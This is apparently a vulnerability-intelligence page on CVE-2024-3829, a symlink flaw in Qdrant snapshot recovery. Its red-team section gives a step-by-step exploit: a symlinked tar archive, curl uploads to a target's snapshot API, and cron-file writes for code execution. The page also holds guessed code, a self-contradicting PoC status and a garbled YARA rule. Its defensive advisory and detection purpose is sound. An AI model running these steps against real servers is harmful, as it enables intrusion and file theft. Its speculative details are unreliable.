☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
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📋 [ METHODOLOGY ] ⚡ [ API_ACCESS ] →
[ VENDOR STATS ]
CVSS: 9.8 🐛 CWE-20
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-3829

CVE-2024-3829 Arbitrary File Access in Qdrant
📅 PUBLISHED: 2024-06-03 10:05 UTC 🔄 UPDATED: 2026-10-08 19:49 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: vv1.9.0 — source: @huntr_ai. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
 🎯 EPSS: 0.91%
👁️
0.91% probability
22.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.8
THREAT LEVEL
INTEL SOURCES NVD ⏳ CVEProject OSV.dev EPSS HOW WE SCORE →
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-3829 is a critical vulnerability in Qdrant, a vector similarity search engine, affecting versions prior to 1.9.0. The flaw resides in the snapshot recovery process, where an attacker can craft a malicious snapshot containing symbolic links (symlinks) to achieve arbitrary file read and write on the server. With a CVSS score of 9.8, this vulnerability allows unauthenticated remote attackers to read sensitive files (e.g., configuration, credentials) and write arbitrary files, potentially leading to full system compromise. The vulnerability is publicly known, and proof-of-concept code exists, though no specific exploit-db or nuclei template is available. The patch is available in version 1.9.0.

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Supply Chain & Package Security

Qdrant is distributed as a Docker container and a Rust crate. Users should verify the integrity of their Qdrant images and ensure they are not using vulnerable versions. The vulnerability is not related to any specific package manager but affects the core binary.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
  • Confidentiality (C): High (H) – Full file read possible.
  • Integrity (I): High (H) – Full file write possible.
  • Availability (A): High (H) – Could lead to system takeover.

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution via file write, leading to complete system compromise.

Deep Dive & Mechanics

The vulnerability exists in the snapshot recovery functionality of Qdrant. When a snapshot is loaded, the software extracts files from the snapshot archive (likely a tar or zip file) without properly validating symbolic links. An attacker can craft a snapshot containing:

  1. Arbitrary File Read: A symlink pointing to a sensitive file (e.g., /etc/passwd, /etc/shadow, or Qdrant configuration files). When Qdrant processes the snapshot, it follows the symlink and reads the target file, potentially exposing its contents.

  2. Arbitrary File Write: A symlink pointing to a location outside the intended extraction directory (e.g., /etc/cron.d/malicious), combined with a payload file. When the snapshot is extracted, the symlink is followed, and the payload is written to the attacker-specified location.

The attack flow:

  1. Attacker creates a malicious snapshot archive containing symlinks and payload files.
  2. Attacker sends the snapshot to the Qdrant server via the snapshot recovery API (e.g., POST /snapshots/upload or similar).
  3. Qdrant extracts the snapshot without checking for symlinks, leading to file read/write.
  4. Attacker can then execute arbitrary code (e.g., by writing a cron job, SSH key, or web shell).

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.9.0): The snapshot extraction likely uses a standard archive extraction library (e.g., tar or zip) without sanitizing symlinks. For example, in Rust, using tar::Archive without checking for symlinks:

// Vulnerable: No symlink validation
let mut archive = tar::Archive::new(reader);
for entry in archive.entries().unwrap() {
    let mut entry = entry.unwrap();
    entry.unpack_in("snapshot_dir").unwrap();
}

Patched Code (v1.9.0): The fix likely includes validation to reject or safely handle symlinks, such as:

// Patched: Reject symlinks
let mut archive = tar::Archive::new(reader);
for entry in archive.entries().unwrap() {
    let mut entry = entry.unwrap();
    if entry.header().entry_type().is_symlink() {
        return Err("Symlinks not allowed in snapshots");
    }
    entry.unpack_in("snapshot_dir").unwrap();
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

  • Target: Qdrant server version 1.8.x or earlier (e.g., Docker image qdrant/qdrant:v1.8.0).
  • Attacker: Any machine with network access to the Qdrant API.

Exploitation Steps:

  1. Create a malicious snapshot:

    • Create a directory structure with a symlink to a sensitive file (e.g., /etc/passwd).
    • Use tar to create the archive:
      mkdir malicious_snapshot
cd malicious_snapshot
ln -s /etc/passwd passwd_link
tar -czf malicious_snapshot.tar.gz passwd_link

  2. Upload the snapshot to Qdrant:

    • Use curl to upload the snapshot via the API (assuming default port 6333):
      curl -X POST -F "snapshot=@malicious_snapshot.tar.gz" http://target:6333/snapshots/upload

  3. Trigger recovery:

    • If the API requires a recovery endpoint, use:
      curl -X POST http://target:6333/snapshots/recover -H "Content-Type: application/json" -d '{"snapshot": "malicious_snapshot.tar.gz"}'

  4. Read the file:

    • The symlink will be followed, and the content of /etc/passwd will be written to the extraction directory. Access it via the Qdrant API or file system.

  5. For arbitrary write:

    • Create a symlink pointing to a writable location (e.g., /etc/cron.d/).
    • Include a payload file (e.g., a cron job script).
    • After extraction, the payload is written to the target location, enabling code execution.

Blue Team (Defender)

Detection:

  • Monitor for unusual snapshot uploads or recovery requests.
  • Check for symlinks in snapshot archives before processing.
  • Use file integrity monitoring (FIM) to detect unexpected file writes.

Hunting:

  • Search for processes accessing sensitive files (e.g., /etc/passwd) from the Qdrant process.
  • Look for new files in system directories (e.g., /etc/cron.d/, /root/.ssh/).

Indicators of Compromise (IOCs)

  • File System:

    • Unexpected symlinks in snapshot directories (e.g., /var/lib/qdrant/snapshots/).
    • New files in system directories (e.g., /etc/cron.d/, /tmp/).
    • Modified configuration files (e.g., /etc/qdrant/config.yaml).

  • Network:

    • Unusual POST requests to /snapshots/upload or /snapshots/recover.
    • Large file uploads to the Qdrant API.

  • Process:

    • Qdrant process reading sensitive files (e.g., /etc/passwd, /etc/shadow).

Detection Engineering

YARA Rule

rule CVE_2024_3829_Qdrant_Symlink_Snapshot {
    meta:
        description = "Detects malicious Qdrant snapshots containing symlinks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3829"
    strings:
        $symlink_magic = { 75 73 74 61 72 00 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 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